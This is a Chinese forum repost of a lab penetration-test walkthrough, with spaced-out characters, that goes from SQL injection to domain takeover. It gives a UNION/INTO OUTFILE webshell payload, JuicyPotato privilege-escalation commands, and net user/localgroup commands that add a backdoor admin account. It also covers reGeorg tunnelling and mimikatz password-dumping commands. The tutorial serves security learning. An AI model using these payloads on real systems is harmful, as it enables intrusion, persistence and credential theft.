搜索

[16441] 2021-02-14_记一次由sql注入到拿下域控的渗透测试实战演练（上）

文档创建者：s7ckTeam
浏览次数：86
最后更新：2025-01-18
2021-02-14_记一次由sql注入到拿下域控的渗透测试实战演练（上） 记 一 次 由 s q l 注 入 到 拿 下 域 控 的 渗 透 测 试 实 战 演 练 （ 上 ） s e c u r 1 t y   F r e e B u f   2 0 2 1 - 0 2 - 1 4 本 次 渗 透 总 流 程 ： 本 次 渗 透 总 流 程 ： 1 . 从 一 个 w e b 页 面 发 现 S Q L 注 入 并 可 以 通 过 注 入 g e t s h e l l 2 . 通 过 对 w e b s h e l l 的 提 权 成 功 拿 下 服 务 器 管 理 员 权 限 3 . 通 过 内 网 穿 透 成 功 连 接 目 标 服 务 器 的 3 3 8 9 远 程 桌 面 服 务 4 . 通 过 在 目 标 服 务 器 上 安 装 并 使 用 n m a p 完 成 信 息 收 集 ， 为 接 下 来 横 向 移 动 以 及 拿 下 域 控 提 供 基 础 5 . 通 过 m i m i k a t z 抓 取 本 机 管 理 员 明 文 密 码 ， 为 下 一 步 域 渗 透 提 供 条 件 本 次 渗 透 靶 场 网 络 拓 扑 图 ： 本 次 渗 透 靶 场 网 络 拓 扑 图 ： 工 具 ： 工 具 ： 蚁 剑 ， 烂 土 豆 提 权 补 丁 ， r e G e o r g e , n m a p , m i m i k a t z , P r o x i f i e r 汉 化 版 开 始 渗 透 开 始 渗 透 发 现 页 面 上 存 在 ? i d = 1 的 传 参 ， 于 是 输 入 a n d   1 = 2   进 行 测 试 ， 发 现 页 面 报 错 并 爆 出 了 绝 对 路 径 ， 接 下 来 尝 试 使 用 o u t f i l e 函 数 进 行 g e t s h e l l 语 句 如 下 ： ? i d = 1   a n d   1 = 2   u n i o n   s e l e c t   1 , ' < ? p h p   e v a l ( $ _ R E Q U E S T [ 1 ] ) ; ? > '   i n t o   o u t f i l e   ' C : / p h p S t u d y / W W W / a . p h p '
尝 试 连 接 发 现 s h e l l 已 经 上 传 成 功 ， 接 下 来 用 蚁 剑 连 接 （ 有 一 个 之 前 上 传 过 的 烂 土 豆 请 忽 略 … … ）
接 下 来 用 蚁 剑 的 终 端 进 行 服 务 器 端 口 信 息 收 集 并 尝 试 给 服 务 器 添 加 用 户 ， 但 失 败 （ 原 因 很 简 单 ， w e b s h e l l 权 限 不 够 嘛 ） 所 以 接 下 来 要 进 行 w e b s h e l l 的 提 权 ， 提 权 一 般 会 有 两 个 思 路 : 1 . 依 靠 系 统 组 件 提 权 （ 例 如 ： M y S Q L 权 限 高 而 p h p s t u d y 权 限 低 ， 那 么 我 们 就 想 办 法 让 M y S Q L 替 我 们 去 执 行 一 些 需 要 高 权 限 的 命 令 ） 2 . 依 靠 系 统 漏 洞 提 权 （ 实 战 中 更 加 常 用 ） 由 于 并 没 有 发 现 目 标 服 务 器 上 有 什 么 高 权 限 的 组 件 可 以 入 侵 ， 所 以 我 们 采 取 第 二 种 方 法 提 权 ， 首 先 我 们 采 用 s y s t e m i n f o 命 令 查 看 系 统 已 下 载 补 丁
然 后 从 这 个 在 线 辅 助 提 权 的 网 站 上 >   （ h t t p s : / / b u g s . h a c k i n g 8 . c o m / t i q u a n / ） 搜 索 可 用 提 权 补 丁 ， 这 里 我 们 采 用 图 上 的 h o t p o t a t o 进 行 提 权 ， 因 为 它 适 用 的 系 统 多 ， 提 权 更 可 能 成 功 利 用 蚁 剑 上 传 烂 土 豆 ： 利 用 蚁 剑 上 传 烂 土 豆 ： 烂 土 豆 使 用 方 法 ： （ 笔 者 的 这 个 烂 土 豆 是 魔 改 后 的 ， 使 用 比 较 简 单 ， 若 想 要 原 版 可 以 从 这 里 下 载 h t t p s : / / g i t h u b . c o m / o h p e / j u i c y - p o t a t o / r e l e a s e s ） 笔 者 这 里 将 烂 土 豆 改 名 为 h x . e x e 是 为 了 执 行 命 令 更 方 便 （ 其 实 就 是 偷 懒 哈 哈 ~ ） 使 用 查 看 当 前 权 限 ， 发 现 已 经 是 s y s t e m 权 限 了 J u i c y p o t a t o . e x e   - p “ 命 令 ” h x . e x e   - p   " w h o a m i "
使 用 进 行 本 地 用 户 的 添 加 但 注 意 ， 此 时 的 账 号 h a i x i a n 并 不 是 管 理 员 ， 我 们 要 对 其 进 行 进 一 步 的 提 权 才 可 以 使 其 权 限 变 为 管 理 员 使 用 来 将 我 们 的 用 户 h a i x i a n 加 入 到 本 地 管 理 员 用 户 组 至 此 ， 我 们 已 经 成 功 地 向 目 标 服 务 器 添 加 了 一 个 名 为 h a i x i a n 的 管 理 员 用 户 ， 接 下 来 就 是 想 办 法 通 过 这 个 用 户 ， 使 用 远 程 桌 面 连 接 目 标 服 务 器 首 先 我 们 尝 试 直 接 使 用 m s t s c . e x e 去 连 接 靶 机 ， 但 是 以 失 败 告 终 ， 猜 测 有 以 下 几 种 可 能 ： 靶 机 并 没 有 将 3 3 0 6 端 口 像 8 0 端 口 一 样 映 射 到 公 网 上 ， 路 由 器 里 并 没 有 记 录 ， 所 以 我 们 无 法 直 接 通 过 公 网 访 问 到 靶 机 的 3 3 0 6 端 口 靶 机 无 法 连 接 公 网 这 里 如 果 是 第 二 种 情 况 那 么 就 不 太 好 办 了 ， 但 我 们 可 以 猜 测 是 第 一 种 情 况 并 按 第 一 种 情 况 来 处 理 ， 如 果 最 后 连 接 成 功 ， 那 么 就 证 实 了 我 们 的 猜 想 h x . e x e   - p   " n e t   u s e r   h a i x i a n   a b c 1 2 3 4 5 6 . !   / a d d " h x . e x e   - p   " n e t   l o c a l g r o u p   a d m i n i s t r a t o r s   h a i x i a n   / a d d "
我 们 要 明 确 为 什 么 我 们 的 远 程 桌 面 无 法 直 接 连 接 ， 根 源 在 于 我 们 的 电 脑 无 法 直 接 访 问 靶 机 的 3 3 0 6 端 口 ， 所 以 我 们 要 从 我 们 唯 一 可 以 访 问 到 的 8 0 端 口 所 开 放 的 w e b 服 务 来 找 突 破 口 ， 这 里 就 涉 及 到 了 一 个 新 的 工 具 ： r e G e o r g e ： ： G i t H u b 下 载 地 址 ： 下 载 地 址 ： h t t p s : / / g i t h u b . c o m / s e n s e p o s t / r e G e o r g 下 载 下 来 以 后 是 这 样 的 一 些 文 件 ： 我 们 需 要 根 据 网 站 所 对 应 的 脚 本 语 言 来 上 传 对 应 的 信 道 文 件 ， 比 如 说 这 里 靶 机 所 使 用 的 是 P H P ， 我 们 就 上 传 t u n n e l . n o s o c k e t . p h p 到 靶 机 ： 通 过 蚁 剑 上 传 信 道 文 件 并 访 问 ： 出 现 如 图 所 示 的 回 显 说 明 我 们 的 “ 信 号 塔 ” 部 署 完 毕 ， 那 么 这 个 信 号 塔 具 体 有 什 么 用 呢 ？ 前 面 提 到 过 ， 我 们 只 能 访 问 靶 机 的 8 0 端 口 ， 那 么 我 们 要 做 到 的 就 是 通 过 一 层 信 号 转 发 使 我 们 能 够 通 过 访 问 8 0 端 口 而 访 问 到 靶 机 3 3 0 6 端 口 所 以 这 个 信 号 塔 的 作 用 其 实 就 是 信 号 转 发 ， 我 们 需 要 把 原 本 要 发 送 给 靶 机 上 其 他 我 们 访 问 不 到 的 文 件 的 数 据 包 发 送 给 信 号 塔 ， 然 后 信 号 塔 会 根 据 我 们 的 要 求 把 接 收 到 的 信 号 转 发 给 对 应 的 服 务 模 块 简 单 来 说 ， 就 是 我 们 要 访 问 靶 机 上 的 远 程 桌 面 模 块 ， 但 没 法 直 接 访 问 ， 就 先 把 我 们 的 请 求 发 送 给 信 号 塔 ， 然 后 有 信 号 塔 发 起 对 远 程 桌 面 的 访 问 这 样 问 题 不 就 迎 刃 而 解 了 吗 ？ 接 下 来 我 们 在 本 地 运 行 r e G e o r g S o c k s P r o x y . p y 来 与 信 号 塔 配 合 （ 一 个 发 包 一 个 接 包 ）
出 现 如 图 的 语 句 证 明 脚 本 运 行 正 常 使 用 P r o x i f i e r 设 置 代 理 ， 这 一 步 的 目 的 就 是 限 制 只 有 本 机 m s t s c . e x e 所 发 送 的 请 求 才 会 被 转 发 到 信 号 塔 接 受 ， 如 果 所 有 w e b 请 求 全 都 发 去 的 话 ， 那 么 恐 怕 下 一 秒 就 断 网 了 。 。 。 设 置 代 理 规 则 如 图 ： 设 置 好 之 后 就 可 以 重 新 进 行 远 程 桌 面 连 接 了 ：
利 用 我 们 已 经 添 加 好 的 管 理 员 用 户 h a i x i a n 进 行 登 录 并 尝 试 在 靶 机 上 下 载 n m a p 为 下 一 步 的 横 向 移 动 做 基 础 信 息 收 集 下 载 成 功 后 简 单 的 扫 描 一 下 C 段 ， 结 果 如 图 ：

经 过 初 步 探 测 ， 内 网 中 有 1 0 . 0 . 1 . 1 ， 1 0 . 0 . 1 . 3 ， 1 0 . 0 . 1 . 4 ， 1 0 . 0 . 1 . 6 ， 1 0 . 0 . 1 . 8 四 台 主 机 存 活 且 后 两 台 主 机 均 开 放 了 3 3 8 9 端 口 ， 为 远 程 桌 面 连 接 提 供 了 可 能 然 后 我 们 再 通 过 m i m i k a t z （ 迷 h o t e l ） 抓 取 管 理 员 密 码 ， m i m i k a t z 常 见 命 令 如 下 ： 其 实 m i m i k a t z 这 款 神 器 的 功 能 十 分 强 大 ， 这 里 只 是 介 绍 了 冰 山 一 角 ， 有 兴 趣 的 读 者 可 以 自 行 了 解 ， 网 站 上 教 程 很 多 ~ 通 过 蚁 剑 上 传 m i m i k a t z ， 要 注 意 区 分 系 统 （ 3 2 位 和 6 4 位 ） 来 上 传 不 同 版 本 ， 不 同 版 本 的 m i m i k a t z 使 用 稍 有 不 同 抓 取 本 机 密 码 如 图 ： m i m i k a t z   #   c l s                       – > 清 屏 , 类 似 d o s 命 令 c l s . m i m i k a t z   #   e x i t                   – > 退 出 m i m i k a t z . m i m i k a t z   # v e r s i o n     – > 查 看 当 前 的 m i m i k a t z 的 版 本 . m i m i k a t z   # l o g           — — > 开 启 日 志 m i m i k a t z   # p r i v i l e g e : : d e b u g         — — > 提 权 m i m i k a t z   # s e k u r l s a : : l o g o n p a s s w o r d s         — — > 抓 取 本 机 用 户 密 码
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理